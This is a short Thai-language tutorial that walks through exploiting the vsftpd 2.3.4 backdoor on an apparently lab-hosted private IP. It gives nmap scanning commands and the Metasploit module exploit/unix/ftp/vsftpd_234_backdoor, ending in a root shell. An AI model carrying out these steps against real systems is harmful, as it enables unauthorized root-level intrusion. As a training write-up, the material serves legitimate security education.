บทนำ (Overview)
บทความนี้นำเสนอการยึดเครื่องผ่านช่องโหว่ที่เรียกว่า “vsftpd backdoor command execution” โดยโปรแกรมดังกล่าวมีช่องโหว่ที่ “version 2.3.4” ทำให้ผู้โจมตีสามารถ ได้ “Shell” เพื่อเข้าถึงระบบระยะไกลได้ กล่าวคือช่องโหว่ดังกล่าวเมื่อผู้โจมตีเชื่อมต่อ “Port” ของ “FTP” และ “Login” โดยใช้ “username” ที่ลงท้ายด้วย “:)” จะทำให้มีการเปิด Backdoor shell ขึ้นมาบน Port “6200”
ขั้นตอน (Steps)
- ค้นหา “Port” ที่เปิดโดยใช้ คำสั่ง “Nmap” ดังนี้
nmap 192.168.1.53
- พบว่ามี “Port 21” ลองหารายละเอียดเพิ่มเติมเกี่ยวกับ “Version” โดยเฉพาะ “Port” ดังกล่าวใช้คำสั่ง
nmap -p 21 -A 192.168.1.53
- จากคำสั่งข้างต้นเราพบว่า “FTP” ใช้ “vsftpd 2.3.4” ให้เราทดสองค้นห้าช่องโหว่ของ “FTP” ใน “version” ดังกล่าว
- เราพบว่า “FTP” ใน “version” ดังกล่าวมีช่องโหว่ “VSFTPD v2.3.4 Backdoor Command Execution” สามารถสั่งควบคุมระยะไกลได้ โดยพบว่าสามารถใช้งาน Module “exploit/unix/ftp/vsftpd_234_backdoor” ของ “Metasploit” ได้ด้วย
- ใช้คำสั่ง “msfconsole” เพื่อใช้งาน “Metasploit”
msfconsole
- ให้ใช้คำสั่งค้นหาตัว “FTP” ดังกล่าว
search vsftpd
- เมื่อเจอ “Module” ดังกล่าวให้เรียกใช้โดยใช้คำสั่ง “use”
use exploit/unix/ftp/vsftpd_234_backdoor
- และใช้คำสั่งแสดง “parameter” ต่าง ๆ ที่จำเป็นต้องตั้งค่า
show options
- จากตัวอย่างข้างต้นพบว่าจะต้องตั้งค่า “RHOST” คือ “IP” ที่ต้องการ “Exploit” สามารถตั้งค่าได้โดยใช้คำสั่ง
set RHOST 192.168.1.53
- จากนั้นทดสอบแสดง “parameter” อีกครั้งจะพบว่า “IP” ของเป้าหมายได้ตั้งค่าเรียบร้อยแล้ว
- เมื่อทุกอย่างเรียบร้อยแล้วก็ทำการโจมตีโดยใช้คำสั่ง
exploit
- ถ้าสำเร็จจะขึ้นว่า “Command shell session 1 opened” ให้ลองใช้คำสั่ง “id” เพื่อดูว่าเราเข้าถึงระบบโดยสิทธิอะไร
- จากตัวอย่างข้างต้นเราพบว่าสามารถยึดเครื่อง และ “Shell” ที่มีสิทธิสูงสุด “Root”